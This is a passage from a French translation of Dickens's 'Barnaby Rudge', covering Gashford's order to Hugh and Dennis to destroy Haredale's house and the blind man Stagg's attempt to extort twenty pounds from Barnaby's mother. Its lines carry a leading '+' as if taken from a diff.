+voilà votre gaillard. Mille pipes! monsieur Gashford, ajouta-t-il
+tout bas, en approchant de lui sa chaise et le poussant du coude,
+c'est une fine lame, allez! On a autant de peine à le retenir
+qu'un bouledogue à la niche. Sans moi, il allait vous jeter à bas
+ce catholique romain, et, en moins de rien, vous aviez une émeute.
+
+-- Et pourquoi pas? cria Hugh d'une voix hargneuse, attrapant à la
+volée cette dernière observation. Qu'est-ce qu'on gagne à remettre
+toujours les choses? Il faut battre le fer tandis qu'il est chaud;
+je ne connais que ça.
+
+-- Ah! reprit Dennis, secouant la tête avec une espèce de pitié
+pour la candeur de son jeune ami; vous supposez donc que le fer
+est chaud, mon cher frère? Il faut échauffer le sang des gens
+avant de frapper le premier coup; il faut les mettre en humeur. Ce
+n'est pas le tout, voyez-vous, que d'aller faire quelques
+provocations, comme aujourd'hui. Si je vous avais laissé faire,
+vous alliez nous gâter tout pour demain, et ruiner nos affaires.
+
+-- Dennis a parfaitement raison, dit Gashford d'un air doucereux.
+Parfaitement raison. Dennis a une grande connaissance du monde.
+
+-- Comment ne connaîtrais-je pas le monde, moi qui aide tant de
+gens à en sortir?» fit le bourreau en riant avec une grimace, et
+prononçant sa plaisanterie à demi-voix derrière sa main.
+
+Le secrétaire ne manqua pas de rire pour faire plaisir à Dennis;
+puis après, se tournant vers Hugh:
+
+«Vous avez pu voir, dit-il, que la politique de Dennis est aussi
+la mienne. Vous avez vu, par exemple, comme je me suis laissé
+tomber dès la première attaque. Je n'ai fait aucune résistance; je
+n'ai rien fait pour provoquer une échauffourée. Grand Dieu! je
+m'en suis bien gardé.
+
+-- Ma foi! c'est vrai, cria Dennis avec un rire bruyant; vous êtes
+tombé tout tranquillement, monsieur Gashford, et tout de votre
+long, qui plus est. Je me suis dit sur le moment: «Voilà
+M. Gashford fini.» Je n'ai jamais vu personne mieux étendu sur le
+dos, ni plus tranquillement que vous, à moins que ça ne fût un
+cadavre. C'est que c'est un rude jouteur, ce papiste-là; ça, c'est
+vrai.»
+
+La figure de secrétaire, pendant que Dennis éclatait de rire en
+tournant ses yeux recoquillés du côté de Hugh, qui en faisait
+autant de son côté, aurait pu servir de modèle pour un portrait du
+diable. Il resta assis sans rien dire, jusqu'à ce que les autres
+eussent repris leur sérieux. Alors jetant un regard autour de lui:
+
+«On est très agréablement ici, dit-il, si agréablement, Dennis,
+que, n'était le désir particulier que m'a témoigné milord que
+j'allasse souper avec lui, et voilà le moment d'y aller, je serais
+tenté de rester plus tard, au risque d'être arrêté en sortant sur
+mon chemin. Je suis venu vous trouver pour une petite affaire...
+oui... vous vous en doutez bien. Et vous ne pouvez manquer d'être
+flatté que j'aie pensé à vous pour cela. Si nous devions un jour
+être obligés... on ne peut pas répondre de ça, vous savez... La
+vie du monde est quelque chose de si incertain...
+
+-- Je crois bien, monsieur Gashford, dit en l'interrompant le
+bourreau avec un signe de tête plein de gravité; en ai-je assez
+vu, moi, d'incertitudes en ce qui regarde l'existence de la vie du
+monde! en ai-je assez vu, de ces chances inattendues comme il en
+arrive! nom d'une pipe!»
+
+Et, trouvant le sujet trop vaste pour pouvoir y suffire, il se
+remit à fumer sa pipe en regardant les autres.
+
+«Je disais donc, reprit le secrétaire lentement et avec une
+intention marquée, que nous ne pouvons pas répondre de ce qui
+arrivera; et, si nous devions un jour être obligés d'avoir recours
+à la violence, milord (qui a souffert aujourd'hui toutes les
+impertinences qu'on peut souffrir) a fait choix de vous deux,
+parce que je vous ai recommandés comme de braves et solides
+garçons, sur lesquels on peut compter, pour vous donner l'agréable
+commission de punir cet Haredale. Arrangez-vous avec lui, ou ce
+qui lui appartient, comme vous l'entendrez, pourvu que vous ne lui
+fassiez pas de quartier, et que vous ne laissiez pas deux
+soliveaux de sa maison debout à la place où les a mis le
+charpentier. Pillez, brûlez, faites ce que vous voudrez, mais que
+tout ça dégringole; rasez-moi la place. Lui et tous ceux qui
+l'intéressent, mettez-les nus comme vers, comme des nouveau-nés
+que leurs mères viennent d'exposer sans abri. Vous m'entendez? dit
+Gashford faisant une pause et se pressant doucement les mains
+l'une contre l'autre.
+
+-- Vous comprendre? notre bourgeois! cria Hugh. Vous vous
+expliquez assez clairement à présent; à la bonne heure, voilà qui
+s'appelle parler!
+
+-- Je savais que cela vous ferait plaisir, dit Gashford en lui
+donnant une poignée de main, j'en étais sûr. Allons, bonsoir. Ne
+vous levez pas, Dennis, je trouverai bien mon chemin tout seul. Ce
+n'est peut-être pas la dernière fois que je reviendrai vous faire
+visite, et j'aime mieux aller et venir sans vous déranger. Je
+trouverai parfaitement bien mon chemin. Bonsoir.»
+
+Et il était parti: il avait fermé la porte derrière lui. Les deux
+camarades s'entre-regardèrent avec un signe de satisfaction.
+Dennis, ranimant le feu:
+
+«Ça m'a l'air, dit-il, de prendre tournure.
+
+-- Oui-da! cria Hugh. Ça me va.
+
+-- J'avais toujours entendu dire que maître Gashford, dit le
+bourreau, avait de la mémoire et une constance surprenante, qu'il
+ne savait pas ce que c'était qu'oubli et pardon... Buvons à sa
+santé.»
+
+Hugh ne se fit pas prier; et, sans verser une goutte du liquide
+sur le plancher, en manière de libation, ils trinquèrent à la
+santé du secrétaire, de l'homme selon leur coeur.
+
+
+
+
+CHAPITRE III.
+
+
+Pendant que les passions les plus perverses des hommes les plus
+pervers travaillaient ainsi dans l'ombre, et que le manteau de la
+religion, dont ils se couvraient pour cacher les difformités les
+plus hideuses, menaçait de devenir le linceul de tout ce qu'il y
+avait d'honnête et de paisible dans la société, il y eut une
+circonstance qui changea la position de deux de nos personnages,
+dont nous nous sommes séparés depuis longtemps dans le cours de
+cette histoire, et que nous sommes obligés d'aller retrouver
+maintenant.
+
+Dans une petite ville de province, en Angleterre, dont les
+habitants soutenaient leur existence par le travail de leurs
+mains, à tresser et préparer la paille pour les fabricants de
+chapeaux et autres articles de toilette et d'ornement de ce genre,
+vivaient sous un nom supposé, dans une pauvreté obscure, étrangers
+aux variations, aux plaisirs, aux soucis de ce monde, occupés
+seulement de gagner, à la sueur de leur front, leur pain
+quotidien, Barnabé et sa mère. Le pas d'un visiteur n'avait pas
+franchi le seuil de leur demeure dans les cinq ans qu'ils y
+avaient passés, depuis qu'ils étaient venus y chercher un asile;
+et jamais, dans cet intervalle, ils n'avaient renoué connaissance
+avec le monde auquel ils s'étaient dérobés à cette époque. La
+triste veuve n'avait pas d'autre pensée que de travailler en paix,
+et de se sacrifier corps et âme pour son pauvre fils. Si le
+bonheur avait pu jamais être le partage d'une femme en proie aux
+chagrins secrets qui la poursuivaient, elle aurait pu se croire
+heureuse à présent. La tranquillité, la résignation, l'amour
+dévoué qu'elle portait à un être auquel elle était si nécessaire,
+formaient le cercle étroit de ses joies tranquilles; et elle ne
+demandait qu'une chose: c'était de n'en pas voir la fin.
+
+Quant à Barnabé, le temps avait coulé pour lui avec la rapidité du
+vent. Les jours et les années avaient passé sans éclaircir les
+nuages de sa raison, sans que l'aube qui devait dissiper la nuit,
+la sombre nuit de son intelligence, se fût encore levée pour lui.
+Souvent il restait assis des jours entiers, sur son petit banc,
+auprès du feu ou à la porte de la chaumière, occupé sans relâche
+du travail que lui avait enseigné sa mère, et prêtant l'oreille
+aux contes qu'elle lui répétait, pour le retenir sous ses yeux par
+l'appât de cette ruse innocente. Il ne se les rappelait jamais. Le
+conte de la veille était nouveau pour lui le lendemain, il
+l'entendait toujours avec le même plaisir; et, dans ses moments de
+tranquillité, il restait patiemment à la maison, écoutant les
+histoires de sa mère comme un petit enfant, et travaillant
+gaiement depuis le lever du soleil jusqu'au moment où la nuit
+l'empêchait de continuer son ouvrage.
+
+D'autres fois, et dans ces moments-là elle avait bien du mal à
+gagner leur pain grossier, il allait errer à l'aventure depuis les
+premières heures du jour jusqu'à l'heure où le crépuscule avait
+fait place à la nuit. Presque personne dans le pays, même les
+petits enfants, n'avait de temps à perdre dans l'oisiveté, et il
+n'avait pas de camarade pour l'accompagner dans ses excursions
+sans but. D'ailleurs, quand il y en aurait eu une légion, ils
+n'auraient pas été tentés de le suivre. Mais il y avait bien dans
+le voisinage une vingtaine de chiens errants dont il aimait tout
+autant la compagnie. Il en prenait deux ou trois, quelquefois une
+demi-douzaine, qui l'escortaient en aboyant derrière ses talons,
+quand il partait pour quelque expédition qui devait durer tout le
+jour. Et le soir, quand ils rentraient ensemble, ils étaient tous
+fatigués de leur course boitillant ou tirant la langue. Barnabé
+seul, debout le lendemain dès le lever du soleil, comme si de rien
+n'était, reprenait, avec un cortège plus frais, le cours de ses
+promenades lointaines, et revenait de même. Dans tous ses voyages,
+Grip, au fond de son petit panier, sur le dos de son maître, ne
+manquait pas une partie; et, quand le beau temps les mettait de
+belle humeur, il n'y avait pas un chien dans la bande qui criât
+plus haut que le corbeau.
+
+Leurs plaisirs étaient bien simples: une croûte de pain, avec une
+bouchée de viande, l'eau de la source ou du ruisseau, suffisaient
+à leurs repas. Barnabé s'amusait à marcher, à courir, à sauter,
+jusqu'à ce qu'il fut las; alors il se couchait sur l'herbe, ou le
+long du blé, ou à l'ombre de quelque grand chêne, suivant des yeux
+les nuages qui flottaient sur la surface d'un ciel d'azur, et
+écoutant le chant brillant de l'alouette qui s'élevait dans l'air.
+Et puis il y avait des fleurs champêtres à cueillir, le coquelicot
+d'un rouge éclatant, la jacinthe parfumée, le coucou ou la rose.
+Il y avait des oiseaux à regarder; des poissons, des fourmis, des
+insectes; des lapins ou des lièvres qui traversaient comme une
+flèche l'allée du bois et disparaissaient au loin dans le fourré.
+Il y avait des millions de créatures vivantes à étudier, à épier,
+qu'il accompagnait de ses battements de mains quand ils avaient
+fui de sa vue. À défaut de tout cela, ou pour varier son plaisir,
+il y avait le gai soleil à poursuivre à travers les feuilles et
+les branches des arbres, où il jouait à cache-cache avec lui,
+descendant bien avant, bien avant dans des creux semblables à une
+mare d'argent, où les rameaux frémissants baignaient leur
+feuillage en se jouant. Il y avait les douces senteurs de l'air
+par un soir d'été, quand il avait traversé les chants de trèfle et
+de fèves; le parfum des feuilles ou de la mousse humides;
+l'agitation vivante des arbres, dont les ombres changeantes
+suivaient tous les mouvements. Et puis après, quand il en avait
+assez de l'un ou de l'autre, ou même pour mieux savourer sa
+jouissance, il fermait les yeux, et il y avait un somme à faire au
+milieu de ces innocentes séductions de la campagne, avec le doux
+murmure du vent dont ses oreilles aimaient la musique, et tous les
+objets d'alentour dont le spectacle et le bruit se fondaient en un
+sommeil délicieux.
+
+Leur hutte (car elle ne valait guère mieux) était placée sur les
+lisières de la ville, à une petite distance de la grande route,
+mais dans un endroit retiré, où il était bien rare qu'on
+rencontrât, dans aucune saison de l'année, quelques voyageurs
+égarés. Il y avait un petit morceau de terre qui en dépendait, et
+que Barnabé, dans ses accès de travail, arrangeait ou soignait par
+boutades. En dedans comme en dehors, la mère ne cessait jamais de
+travailler pour leur commune subsistance: la grêle, la pluie, la
+neige ou le soleil, tout cela lui était bien égal.
+
+Quoique déjà bien loin des scènes de sa vie passée, bien loin
+surtout de songer ou d'espérer qu'elles revinssent jamais, elle
+ressentait pourtant un désir étrange de savoir ce qui se passait
+dans le monde d'activité auquel elle était maintenant étrangère.
+Sitôt qu'il lui tombait sous la main quelque vieux journal ou
+quelque bout de nouvelles de Londres, elle les lisait avec
+avidité. L'impression qu'elle en éprouvait n'était pas toujours
+agréable: car, dans ces moments-là, la plus vive anxiété et les
+angoisses de la crainte se peignaient quelquefois sur ses traits,
+mais sans lasser sa curiosité. Puis aussi, dans les nuits de
+tempête, pendant l'hiver, quand le vent sifflait et faisait rage,
+sa figure reprenait son expression d'autrefois, et elle tremblait
+de tous ses membres, comme dans un accès de fièvre. Mais Barnabé
+ne s'en apercevait guère: elle se contenait de son mieux, et
+finissait par recouvrer son calme apparent avant qu'il eût pu
+seulement remarquer chez elle le changement passager qu'elle
+venait de subir.
+
+Il ne faut pas croire que Grip fût le moins du monde un membre
+oisif et inutile de l'humble communauté. Grâce aux leçons de
+Barnabé, grâce au développement d'une espace d'instruction
+naturelle commune à sa race, et à l'usage exercé qu'il faisait de
+ses rares facultés d'observation, il avait acquis un degré de
+sagacité qui l'avait rendu fameux à plusieurs milles à la ronde.
+Son esprit de conversation et ses à-propos surprenants étaient le
+sujet de l'admiration générale, et, comme il venait beaucoup de
+monde voir l'oiseau merveilleux, et que chaque visiteur laissait
+quelque souvenir de satisfaction pour son caquet (quand il lui
+plaisait de se prêter à la circonstance, car on sait qu'il n'y a
+rien de capricieux comme le génie), il gagnait de quoi ajouter un
+item important aux revenus du ménage. Bien mieux, l'oiseau lui-
+même avait l'air de savoir ce qu'il valait; malgré la liberté sans
+réserve à laquelle il s'abandonnait en présence de Barnabé ou de
+sa mère, il gardait en public une étonnante gravité, et ne
+s'abaissait pas à donner jamais d'autres représentations gratis
+que d'aller becqueter la cheville des petits vagabonds qui se
+trouvaient là (c'était un exercice, par parenthèse, qui paraissait
+lui faire un plaisir infini), ou bien de tuer, par occasion,
+quelque poulet, ou enfin d'avaler le dîner des chiens du
+voisinage, dont le plus hargneux lui témoignait une crainte
+respectueuse.
+
+Le temps s'était donc écoulé comme cela, sans qu'il fût rien
+survenu qui eût troublé ni changé l'uniformité de leur vie,
+lorsque, par une soirée de juin, ils étaient ensemble dans leur
+petit jardin, prenant un peu de repos après les fatigues du jour.
+La veuve avait encore son ouvrage sur ses genoux, et à ses pieds
+la paille nécessaire à ses travaux. Barnabé était debout, appuyé
+sur le manche de sa bêche, regardant le soleil couchant dans le
+lointain, et chantonnant tranquillement.
+
+«Une brave soirée, ma mère! Si nous avions seulement, en espèces
+sonnantes dans nos poches, quelques morceaux de cet or qui est
+empilé là-bas dans le ciel, nous serions riches pour le restant de
+nos jours.
+
+-- Nous sommes mieux comme nous sommes, répondit la veuve avec un
+sourire paisible. Il faut nous trouver contents, sans nous donner
+seulement le souci d'y penser, quand même il serait là reluisant à
+nos pieds.
+
+-- Oui! dit Barnabé croisant ses bras sur sa bêche, et regardant
+toujours avec attention le soleil couchant, c'est bel et bon, ma
+mère; mais l'or est bon à prendre. Je voudrais bien savoir où en
+trouver. Grip et moi nous saurions bien en faire notre profit, je
+vous en réponds.
+
+-- Qu'est-ce que vous en feriez?
+
+-- Ce que j'en ferais? un tas de choses. Nous nous mettrions comme
+des princes... je veux dire vous et moi, mère, je ne parle pas de
+Grip. Nous aurions des chevaux, des chiens, des habits de riches
+couleurs et des plumes à notre chapeau; nous ne travaillerions
+plus, nous vivrions délicatement et à notre aise. Oh! que oui, que
+nous en trouverions bien l'emploi. Si je savais seulement où en
+déterrer! J'aurais coeur à la besogne, allez!
+
+-- Vous ne savez pas, dit la mère, se levant de son siège en lui
+mettant la main sur l'épaule, ce que bien des gens ont fait pour
+en gagner, qui ont reconnu, trop tard, qu'il n'est jamais plus
+brillant que de loin, mais qu'il perd tout son prix et son éclat
+quand une fois on l'a dans la main.
+
+-- Eh! eh! vous dites ça. Vous croyez ça, répondit-il, toujours
+l'oeil fixé dans la même direction: c'est égal, mère, je voudrais
+bien en essayer.
+
+-- Ne voyez-vous pas, dit-elle, comme il est rouge? Il n'y a rien
+au monde qui ait autant de taches de sang que l'or. Évitez-le,
+Barnabé. Il n'y a personne qui ait plus de raison que moi d'en
+détester jusqu'au nom même. C'est lui qui a amassé sur votre tête
+et sur la mienne plus de misère et de souffrance que personne n'en
+a jamais connu, et que personne, j'espère, grâce à Dieu! n'en
+connaîtra jamais. J'aimerais mieux que nous fussions morts et
+couchés dans la tombe que de vous voir jamais aimer l'or.»
+
+Il détourna un moment ses yeux pour regarder sa mère avec
+étonnement; puis, les portant alternativement du rouge vif du ciel
+à la cicatrice de son poignet, comme pour en comparer la couleur,
+il allait lui adresser une question avec vivacité, lorsqu'un
+nouvel objet vint frapper son attention facile à distraire, et lui
+fit tout à fait oublier son dessein.
+
+Il y avait là, debout, la tête nue, un homme dont les pieds et les
+vêtements étaient couverts de poussière, et qui se tenait derrière
+la baie de séparation entre leur jardin et le sentier. Il se
+penchait modestement en avant, comme pour se mêler à leur
+conversation, quand il pourrait trouver l'occasion d'y placer son
+mot. Il avait aussi la figure tournée du côté de la lumière du
+soleil couchant; mais ses yeux exposés à l'éclat des derniers feux
+du soir montraient, par leur immobilité, qu'il était aveugle et
+qu'il n'en éprouvait aucune perception.
+
+«Dieu bénisse les voix qui frappent mon oreille! dit le voyageur.
+La soirée m'en semble plus belle encore à les entendre. Les voix
+remplacent pour moi les yeux. Voudraient-elles bien parler encore,
+pour réjouir le coeur d'un pauvre pèlerin?
+
+-- Est-ce que vous n'avez pas de guide? demanda la veuve après un
+moment de silence.
+
+-- Je n'en ai pas d'autre que celui-ci (et il levait son bâton
+vers le soleil), et quelquefois la nuit un astre plus doux pour
+diriger mes pas; mais en ce moment il se repose.
+
+-- Est-ce que vous venez de faire un long voyage?
+
+-- Bien long et bien fatigant, répondit-il en secouant la tête;
+fatigant, on ne peut plus. Tiens! je viens de heurter avec mon
+bâton la margelle de votre puits... Faites-moi donc le plaisir de
+me donner un verre d'eau, madame?
+
+-- Pourquoi m'appeler madame? répliqua-t-elle. Je ne suis pas plus
+riche que vous.
+
+-- C'est que vous avez la parole douce et distinguée, voilà
+pourquoi; la bure ou la soie sont tout un pour moi, quand je ne
+peux les toucher. Je ne puis pas juger les gens à leur mise.
+
+-- Tournez par ici, dit Barnabé, qui était sorti du jardin à sa
+rencontre. Donnez-moi la main. Vous êtes donc aveugle, et toujours
+dans l'obscurité, hein? N'avez-vous pas peur de l'obscurité? Est-
+ce que vous n'y voyez pas un tas de figures qui marmottent je ne
+sais quoi en faisant des grimaces?
+
+-- Hélas! répliqua l'autre, je n'y vois rien du tout. Que je
+veille ou que je dorme, jamais rien.»
+
+Barnabé regarda ses yeux avec curiosité; il les toucha da ses
+doigts, comme aurait pu le faire un enfant indiscret, en le
+conduisant à la maison.
+
+«Si vous venez de si loin, dit la veuve allant au-devant de lui à
+la porte, comment avez-vous pu trouver votre chemin tout le long
+de la route?
+
+-- J'ai toujours entendu dire que le temps et le besoin sont de
+grands maîtres: ce sont bien les meilleurs, dit l'aveugle en
+s'asseyant sur la chaise vers laquelle l'avait conduit Barnabé, et
+posant son bâton et son chapeau à terre sur le carreau. Mais,
+c'est égal, puissiez-vous, vous et votre fils, vous passer de
+leurs leçons! Ce sont de rudes maîtres.
+
+-- Avec tout cela, vous vous êtes écarté de la route? dit la veuve
+d'un ton de compassion.
+
+-- Cela se peut bien, cela se peut bien, reprit-il avec un soupir,
+et cependant aussi avec une espèce de sourire dans ses traits.
+C'est très probable. Les poteaux et les bornes militaires ne me
+disent rien, vous comprenez, je ne vous en suis que plus obligé de
+me procurer une chaise pour me reposer, et un verre d'eau pour me
+rafraîchir.»
+
+En même temps il leva le pot à l'eau vers sa bouche. C'était de
+belle et bonne eau, bien claire, bien fraîche, bien appétissante;
+mais avec tout cela il fallait qu'il ne la trouvât pas à son goût,
+ou qu'il n'eût pas bien soif, car il ne fit qu'y tremper ses
+lèvres et remit le pot sur la table.
+
+Il portait, suspendue à une longue courroie autour de son cou, une
+espèce de sacoche ou de bissac à mettre de la nourriture. La veuve
+plaça devant lui un morceau de pain et du fromage; mais il la
+remercia en disant que, grâce à quelques âmes charitables, il
+avait déjeuné le matin, et qu'il n'avait plus faim. Après cette
+réponse, il ouvrit son bissac pour y prendre quelques pence, la
+seule chose qu'il parût y avoir dedans.
+
+«Voulez-vous bien me permettre de vous demander, dit-il en se
+tournant du côté où Barnabé se tenait, les yeux fixés sur lui, à
+vous qui n'êtes pas privé du don précieux de la vue, si vous ne
+voudriez pas aller m'acheter avec cela un peu de pain pour me
+soutenir en route. Que Dieu répande ses bénédictions sur les
+jeunes pieds qui vont se déranger pour venir en aide à la misère
+d'un pauvre aveugle!»
+
+Barnabé regarda sa mère, qui lui fit signe qu'il pouvait accepter
+la commission, et le voilà parti dans son empressement charitable.
+L'aveugle, sur son siège, écouta d'un air attentif jusqu'à ce que
+la veuve ne pût plus entendre les pas de son fils déjà loin, et
+changeant brusquement de ton:
+
+«Voyez-vous, la veuve, il y a bien des espèces d'aveuglement, il y
+a l'aveuglement conjugal, madame; celui-là, vous avez pu
+l'observer par vous-même dans le cours de votre propre expérience
+et c'est un aveuglement à peu près volontaire, qui se met lui-même
+la bandeau sur les yeux. Il y a l'aveuglement de parti, madame, et
+des hommes d'État: celui-là ressemble à celui d'un taureau furieux
+au milieu d'un régiment de soldats en uniforme rouge. Il y a la
+confiance aveugle de la jeunesse, qui ressemble à l'aveuglement
+des petits chatons dont les yeux ne se sont pas encore ouverts à
+la lumière. Il y a encore cet aveuglement physique, madame, dont
+je suis, bien malgré moi, un trop illustre exemple. Enfin, madame,
+il y a cet aveuglement de l'intelligence dont nous avons un
+échantillon dans cet intéressant jeune homme, votre fils, et qui,
+malgré quelques lueurs, quelques éclairs lucides, ne peut pas
+inspirer plus de confiance que des ténèbres absolues. Voilà
+pourquoi, madame, j'ai pris la liberté de le tenir à l'écart un
+bout de temps pendant que je vais avoir avec vous un petit
+entretien; et, comme cette précaution ne peut que faire honneur à
+la délicatesse de mes sentiments envers vous, je suis sûr, madame,
+que vous voudrez bien m'excuser.»
+
+Après avoir prononcé ce discours avec des manières élégantes et
+dégagées, il tira de dessous sa blouse une bouteille de grès
+plate, la déboucha, et, tenant le bouchon entre ses dents, modifia
+d'une manière sensible le liquide du pot à l'eau par une infusion
+plantureuse du breuvage de son cru. Il eut la politesse de le
+vider à la santé de la veuve et des dames en général; puis, le
+déposant vide, il fit claquer ses lèvres avec une jouissance
+manifeste.
+
+«Je suis, madame, un citoyen cosmopolite, dit l'aveugle en
+rebouchant son flacon, et, si j'ai l'air de me conduire
+franchement, comme vous voyez, en voilà la raison. Vous vous
+demandez qui je peux être, madame, et ce que je viens faire ici.
+Je n'ai pas besoin de mes yeux pour lire cela dans les vôtres; il
+me suffit de l'expérience que j'ai de la nature humaine pour
+connaître tous les mouvements de votre âme, comme si je les voyais
+écrits dans vos traits féminins. Je vais satisfaire immédiatement
+votre curiosité, madame, immédiatement.»
+
+Là-dessus, il donna une tape sur le plat de sa bouteille, la remit
+en place sous sa blouse, passa les jambes l'une sur l'autre, se
+croisa les bras et s'installa bien dans sa chaise, avant de
+procéder à ses explications.
+
+Ce changement de manières avait été si soudain et si inattendu;
+l'astuce et l'audace de sa conduite faisaient un tel contraste
+avec son infirmité (car nous sommes accoutumés à voir, chez ceux
+qui ont perdu l'usage de quelque sens, ce vide rempli par je ne
+sais quoi de divin), et cette métamorphose inspirait de telles
+craintes à celle qui en était témoin, qu'il lui fut impossible de
+prononcer un mot. Le visiteur, après avoir attendu une réflexion
+ou une réponse, voyant qu'il attendait vainement, reprit:
+
+«Madame, je m'appelle Stagg. Un de mes amis, qui a passé ces cinq
+dernières années à espérer l'honneur d'un rendez-vous avec vous,
+m'a chargé de venir vous rendre visite. Je serais bien aise de
+vous dire dans le tuyau de l'oreille le nom de ce gentleman...
+Tudieu! madame, êtes-vous sourde? Vous n'entendez donc pas que je
+vous dis que je serais bien aise de vous glisser le nom de mon ami
+dans le tuyau de l'oreille?
+
+-- Vous n'avez que faire de répéter ce que vous venez de dire,
+répondit la veuve avec un gémissement étouffé; je ne sais que trop
+de quelle part vous venez.
+
+-- Mais, aussi vrai que je suis un homme d'honneur, madame, dit
+l'aveugle en se frappant sur la poitrine, et dont il n'y a pas à
+discuter les pouvoirs confidentiels, je vous demande la permission
+de vous répéter que je veux absolument vous dire le nom du
+gentleman. Bien! bien! ajouta-t-il, comme s'il voyait avec son
+ouïe subtile jusqu'au mouvement des mains de la veuve repoussant
+cette confidence. Je ne vous le dirai pas tout haut. Avec votre
+permission, madame, je désire la faveur de vous le dire tout bas.»
+
+Elle s'approcha de lui et se baissa. Il lui murmura un nom dans
+l'oreille, et alors elle se tordit les mains et se promena de long
+en large dans la chambre, comme une femme au désespoir. L'aveugle,
+avec un calme parfait, fit une nouvelle exhibition de sa
+bouteille, se versa un autre grog à plein verre, leva le coude
+comme tout à l'heure, et, sirotant à petits coups, la suivit du
+visage en silence.
+
+«Vous n'avez pas la conversation prompte, la veuve, dit-il,
+pendant un petit intervalle qu'il mit entre deux gorgées. Est-ce
+que vous voulez que nous en parlions devant votre fils?
+
+-- Que voulez-vous de moi? répondit-elle. Que demandez-vous?
+
+-- Nous sommes pauvres, la veuve; nous sommes pauvres, répliqua-t-
+il en étendant sa main droite et en se frottant le pouce dans la
+paume de la main.
+
+-- Pauvres! s'écria-t-elle. Et moi, qu'est-ce que je suis donc?
+
+-- Les comparaisons sont toujours odieuses, dit l'aveugle. Je n'en
+sais rien; ça ne me fait rien; ça ne me fait rien. Ce que je sais,
+c'est que nous sommes pauvres. Les affaires de mon ami ne sont pas
+brillantes; les miennes non plus. Il nous faut nos droits ou un
+dédommagement. D'ailleurs, vous savez tout cela aussi bien que
+moi; à quoi bon tant de paroles?»
+
+Elle recommença à se promener d'un air terrifié, de long en large
+dans la chambre. À la fin, s'arrêtant brusquement devant lui:
+
+«Est-ce qu'il est près d'ici? demanda-t-elle.
+
+-- Oui, tout près.
+
+-- Alors je suis perdue.
+
+-- Perdue, la veuve! dit l'aveugle avec calme. Au contraire; dites
+donc plutôt retrouvée. Voulez-vous que je l'appelle?
+
+-- Pour rien au monde, répondit-elle en frissonnant.
+
+-- Très bien, répliqua-t-il en croisant de nouveau ses jambes, car
+il avait fait mine de se lever pour aller à la porte. Comme vous
+voudrez, la veuve; sa présence n'est pas nécessaire, que je sache.
+Mais enfin, lui et moi, il faut bien que nous vivions. On ne peut
+pas vivre sans boire ni manger. On ne peut pas boire et manger
+sans avoir de l'argent... Je n'ai pas besoin de vous en dire
+davantage.
+
+-- Vous ne savez donc pas, reprit-elle, que je ne vis moi-même que
+de privations? Il faut que vous l'ignoriez apparemment. Si vous
+aviez des yeux et que vous pussiez les promener autour de vous
+dans ce pauvre réduit, vous auriez pitié de moi. Ah! mon ami, que
+votre propre affliction attendrisse aussi votre coeur en notre
+faveur et lui donne quelque sympathie pour ma misère!»
+
+L'aveugle fit claquer ses doigts et répondit: «Vous n'êtes pas
+dans la question, madame, vous n'êtes pas dans la question. J'ai
+le coeur le plus tendre du monde, mais ça ne suffit pas pour
+vivre. Au contraire, je connais bien des gentlemen qui n'en vivent
+pas plus mal pour avoir la tête dure, mais qui ne feraient pas
+grand'chose d'un coeur tendre. Écoutez. Il s'agit ici d'une
+affaire qui n'a rien à voir avec les sympathies et le sentiment.
+En ma qualité d'ami commun, je désire arranger les choses d'une
+manière satisfaisante, si c'est possible, et c'est possible. Si
+vous êtes pauvre comme vous dites à présent, c'est que vous le
+voulez bien. Vous avez des amis qui ne vous laisseraient pas dans
+le besoin s'ils le savaient. Mon ami, à moi, est dans une position
+plus gênée et plus misérable qu'on ne peut croire, et, comme vous
+êtes l'un et l'autre les anneaux d'une même chaîne, il est tout
+naturel que ce soit de votre côté qu'il se tourne pour obtenir
+aide et assistance. Il a partagé longtemps mon logis et ma table:
+car, je vous le disais tout à l'heure, j'ai le défaut d'avoir le
+coeur tendre, et je ne puis m'empêcher, comme ami, de trouver
+qu'il a tout à fait raison de s'adresser à vous. Vous avez
+toujours eu un abri sur votre tête; lui, il a toujours erré sans
+asile. Vous avez votre fils pour vous aider et vous consoler; lui,
+il n'a personne. Il ne faut pas que tous les avantages soient du
+même côté. Puisque vous êtes embarqués dans le même bateau, il
+faut vous partager le lest avec plus d'équité.»
+
+Elle allait prendre la parole, lorsqu'il l'en empêcha pour
+continuer:
+
+«Le seul moyen de le faire, c'est de boursicoter pour moi et mon
+ami; et c'est le conseil que je voulais vous donner. Il ne vous en
+veut pas, à ce que je peux croire, madame; bien loin de là: car,
+malgré la dureté avec laquelle vous l'avez traité plus d'une fois,
+en le mettant pour ainsi dire à la porte, il a tant d'égards pour
+vous, je pense, que, même dans le cas où vous tromperiez
+aujourd'hui son attente, il consentirait à se charger de votre
+fils pour en faire un homme.»
+
+Il prononça ces derniers mots avec une expression particulière et
+se tut pour en voir l'effet. La pauvre veuve ne répondit que par
+des larmes.
+
+«C'est un garçon, dit l'aveugle d'un air réfléchi, qui paraît
+avoir des dispositions: on pourra en faire quelque chose. Il a
+l'air assez disposé, d'après ce que j'ai entendu ce soir de sa
+conversation avec vous, à essayer de changer un peu l'uniformité
+de la vie qu'il mène ici... Mais ce n'est pas tout ça. Mon ami a
+un besoin pressant de vingt livres sterling. Puisque vous refusez
+une pension pour vous, vous pouvez bien faire ça pour lui. Il
+serait désagréable de vous exposer à voir troubler la paix de
+votre maison. Vous avez l'air d'être bien ici, et il faut faire un
+petit sacrifice pour y rester tranquillement. Vingt livres, la
+veuve, ce n'est pas le diable. Vous savez bien où vous procurer
+ça, quand vous voudrez: un petit mot à la poste et tout est dit...
+vous avez vos vingt livres.»
+
+Elle allait encore lui répondre, lorsqu'il l'arrêta de nouveau
+pour lui dire:
+
+«Ne vous pressez pas trop de me donner votre réponse: vous
+pourriez vous en repentir. Pensez-y un peu. Vingt livres... prises
+dans la poche d'un autre... ce n'est pas difficile. Songez à tout
+ça. Je ne suis pas si pressé. Voici la nuit qui arrive, et, si
+vous ne me donnez pas à coucher ici, je n'irai toujours pas loin.
+Vingt livres! je vous donne vingt minutes pour y réfléchir,
+madame, une guinée à la minute, c'est bien joli. En attendant, je
+vais prendre un peu l'air, qui est très pur et très agréable dans
+ce pays.»
+
+En même temps, il prit à tâtons le chemin de la porte, emportant
+avec lui sa chaise. Puis s'asseyant sous un chèvrefeuille touffu,
+et étendant ses jambes en travers de la porte pour que personne ne
+pût entrer ni sortir sans qu'il en eût connaissance, il tira de sa
+poche une pipe, une pierre à fusil, un briquet et de l'amadou, et
+se mit à fumer. La soirée était charmante; c'était dans la saison
+où le crépuscule est la plus jolie chose du monde. De temps en
